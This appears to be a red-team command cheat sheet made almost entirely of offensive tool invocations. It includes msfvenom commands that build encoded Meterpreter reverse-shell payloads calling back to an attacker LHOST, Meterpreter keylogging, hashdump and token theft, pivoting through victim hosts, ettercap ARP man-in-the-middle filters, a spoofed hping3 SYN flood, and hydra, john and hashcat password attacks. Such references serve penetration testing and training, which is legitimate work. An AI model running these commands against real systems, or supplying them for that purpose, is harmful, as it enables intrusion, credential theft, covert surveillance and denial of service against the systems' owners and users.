Red | Tools

# Convert Nmap XML file to HTML
xsltproc <INPUT_NMAP_XML>.xml -o <OUTPUT_PATH>.html

# Generate live host file
nmap -sP -n -oX out.xml <IP_CIDR> | grep "Nmap" | cut -d " " -f 5 > <OUTPUT_PATH>.txt

# Compare Nmap results
ndiff <FILE_PATH1>.xml <FILE_PATH2>.xml

# DNS reverse lookup on IP range
nmap -R -sL -dns-server <DNS_SERVER_IP> <IP_CIDR>

| DESCRIPTION         | ENGLISH | C-LIKE |
------------------------------------------
| equals                   | eq | =      |
| not equals               | ne | !=     |
| greater than             | gt | >      |
| less than                | lt | <      |
| greater than or equal to | ge | >=     |
| Less than or equal to    | le | <=     |
------------------------------------------

| ENGLISH | C-LIKE |
--------------------
| and     | &&     |
| or      | ||     |
| xor     | ^^     |
| not     | !      |
--------------------

# Wireshark Filter by IP
ip.addr == 10.10.50.1

# Filter by Destination IP
ip.dst == 10.10.50.1

# Filter by IP range
ip.addr >= 10.10.50.1 and ip.addr <=10.10.50.100

# Filter out IP address
!(ip.addr == 10.10.50.1)

# Filter by port
tcp.port == 25

# Filter by destination port
tcp.dstport == 23

# Filter by IP address and port
ip.addr == 10.10.50.1 and tcp.port == 25

# Filter SYN flag
tcp.flags.syn == 1 and tcp.flags.ack == 0

# MAC address filter
eth.addr == 00:70:f4:23:18:c4

# Connect to target
nc <IP_ADDRESS> <PORT>

# Start listener
nc -lvp <PORT>

# Port scanner
nc -v -n -z -w1 <IP_ADDRESS> <START_PORT>-<END_PORT>

# Start listener and stage file
nc -l -p <PORT> < <FILE_PATH>

# Connect to IP and retrieve file
nc -w3 <IP_ADDRESS> <PORT> > <FILE_PATH>

# Start listener and set path
nc -l -p <PORT> > <FILE_PATH>

# Connect and push file
nc -w3 <IP_ADDRESS> <PORT> < <FILE_PATH>

# Launch Metasploit and load resource file
msfconsole –r <FILE_PATH>.rc

# Display exploits
show exploits

# Display auxiliary modules
show auxiliary

# Display payloads
show payloads

# Searches module names and descriptions
search <SEARCH_STRING>

# Show module information
info <MODULE>

# Load exploit or module
use <MODULE>

# Display module options
show options

# Display advanced module options
show advanced

# Configure framework options/parameters
set <OPTION> <VALUE>

# List Metasploit sessions
sessions -v

# Kill Metasploit session ID
sessions -k <ID>

# Run Meterpreter script on all sessions
sessions –s <SCRIPT>

# List all jobs
jobs -l

# Kill given job ID
jobs -k <ID>

# Run exploit as background job
exploit -j

# Pivoting
route add <IP_ADDRESS> <NETMASK> <SESSION_ID>

# Load 3rd party modules or exploits
loadpath <FILE_PATH>

# Live Ruby interpreter shell
irb

# SSL connect (Acts similarly to Netcat)
connect -s <IP_ADDRESS> <PORT>

# Advanced option allows for multiple shells
use exploit/multi/handler
set ExitOnSession False

# Enables logging
set ConsoleLogging true
set SessionLogging true

# List available encoders
msfvenom --list encoders

# List available payloads
msfvenom --list payloads

# Created encoded Meterpreter reverse TCP payload for Windows systems
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_ADDRESS> LPORT=<PORT> -e x86/shikata_ga_nai -i 3 -a x86 -f exe > encoded.exe

# Created Meterpreter reverse TCP payload for Linux systems
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP_ADDRESS> LPORT=<PORT> -f elf > reverse.elf

# Start Meterpreter listener
use multi/handler 
set payload windows/meterpreter/reverse_tcp

# Start MSF (Kali)
service postgresql start 
msfconsole

# Use module
use post/windows/manage/multi_meterpreter_inject

# Set target IP address to pass the shell to
set IPLIST <IP_ADDRESS>

# Set the target port
set LPORT <PORT>

# Set the session ID to run this module against
set SESSION <SESSION_ID>

# Run the module
exploit

# List available commands
help

# Display system info
sysinfo

# List processes
ps

# List current PID
getpid

# Upload a file to C:\Program Files\binary.exe
upload <LOCAL_PATH> C:\\Program\ Files\\test.exe

# Download file
download <FILE_PATH>

# Interact with registry (reg by itself will list syntax)
reg <COMMAND>

# Revert to original user
rev2self

# Drop to interactive shell
shell

# Migrate to another PID
migrate <PID>

# Background current session
background

# Start keylogger
keyscan_start

# Stop keylogger
keyscan_stop

# Dump keylogger
keyscan_dump

# Execute cmd.exe and interact
execute –f cmd.exe –i

# Execute cmd.exe as hidden process and with all tokens
execute –f cmd.exe –i –H -t

# Dumps local hashes
hashdump

# Executes script (/scripts/meterpreter)
run <SCRIPT>

# Create a rule to open port 443 on the attack machine 
# and forward it through the session to target 3.3.3.3 on port 3389
portfwd add –L 127.0.0.1 –l 443 –r 3.3.3.3 –p 3389

# Delete the rule to open port 443 on the attack machine
# and forward it through the session to target 3.3.3.3 on port 3389
portfwd delete –L 127.0.0.1 –l 443 –r 3.3.3.3 –p 3389

# Background session to interact with msfconsole
background

# List current session owner
getuid

# Steal authentication token from process
steal_token <PID>

# Run plugin to capture screenshot of user session
screengrab

# Take note of the Meterpreter ID
sessions

# Add a route through the target host
route add 3.3.3.0 255.255.255.0 <SESSION_ID>

# Setup socks4a server
use auxiliary/server/socks4a

# Run socks4a server (defaults to port 1080)
run

# Edit /etc/proxychains.conf and update with port 1080
socks4 127.0.0.1 1080

# Run Nmap scan against 3.3.3.3 targeting ports 80, 135, and 445.
# This scan will be tunneled through the Metasploit victim host
proxychains nmap -sT -Pn -n -p 80,135,445 3.3.3.3

# Man-in-the-Middle with filter
# <MAC>/<IP>/<PORTS>
# Example: //80,443 = any MACs, any IPs, ports 80 and 443
ettercap.exe -i <INTERFACE> -M arp -Tq -F file.ef <MACs>/<IPs>/<PORTs> <MACs>/<IPs>/<PORTs>

# Man-in-the-Middle entire subnet with applied filter
ettercap -T -M arp -F filter.ef // //

# Switch flood
ettercap -TP rand_flood

# Compile Ettercap filter
etterfilter <ETTER_FILTER> -o out.ef

if (ip.proto == UDP && udp.dst == 500){
    drop();
    kill(); 
}
if (ip.src == '<ip>'){
    if (tcp.dst == 80){
        if (search(DATA.data, "Accept-Encoding")){
            replace("Accept-Encoding","Accept-Rubbish!");
            msg("Replaced Encoding\n");
        }
    }
}

# DoS from spoofed IPs
hping3 <TARGETIP> --flood --frag --spoof <IP> --destport <PORT> --syn

# ARP scanner
arping <IP_ADDRESS> -I <INTERFACE_NAME> -c <NUMBER_OF_ARPS>

# Brute force the username admin with the given password list
hydra -t 1 -l admin -P <PASSWORD_LIST_PATH> -v ftp://<IP_ADDRESS> ftp

# Brute force SSH with user and password lists against target IP address
hydra -v -u -L <USER_LIST_PATH> -P <PASSWORD_LIST_PATH> -t 1 ssh://<IP_ADDRESS>

# Cracking with a wordlist
john --wordlist=<WORD_LIST_PATH> <HASH_LIST_FILE>

# Attempt to crack hash file using previously cracked passwords
john --loopback <HASH_LIST_FILE>

# Show cracked passwords
john --show <HASH_LIST_FILE>

# Attempt to crack hash using incremental mode (May take a long time)
john --incremental <HASH_LIST_FILE>

# Run office2john.py against password protected Excel
#  file to extract crackable hash from office document
python office2john.py <INPUT_PATH> > extractedHash.txt

# Determine office/hash version based on contents of extractedHash.txt
# Listed in the output hash file from office2john
# Integer code on right goes into hashcat

9400-MS Office 2007
9500-MS Office 2010
9600-MS Office 2013
25300-MS Office 2016 SheetProtection
9700-MS Office <= 2003 $0/$1, MD5 + RC4
9710-MS Office <= 2003 $0/$1, MD5 + RC4, collider #1
9720-MS Office <= 2003 $0/$1, MD5 + RC4, collider #2
9810-MS Office <= 2003 $3, SHA1 + RC4, collider #1
9820-MS Office <= 2003 $3,SHA1+RC4, collider #2
9800-MS Office <= 2003 $3/$4, SHA1 + RC4

# Run hashcat command to crack extracted and edited hash
hashcat64 -a 0 -m <MODE> --username -o cracked.txt extractedHash.txt /usr/share/wordlists/rockyou.txt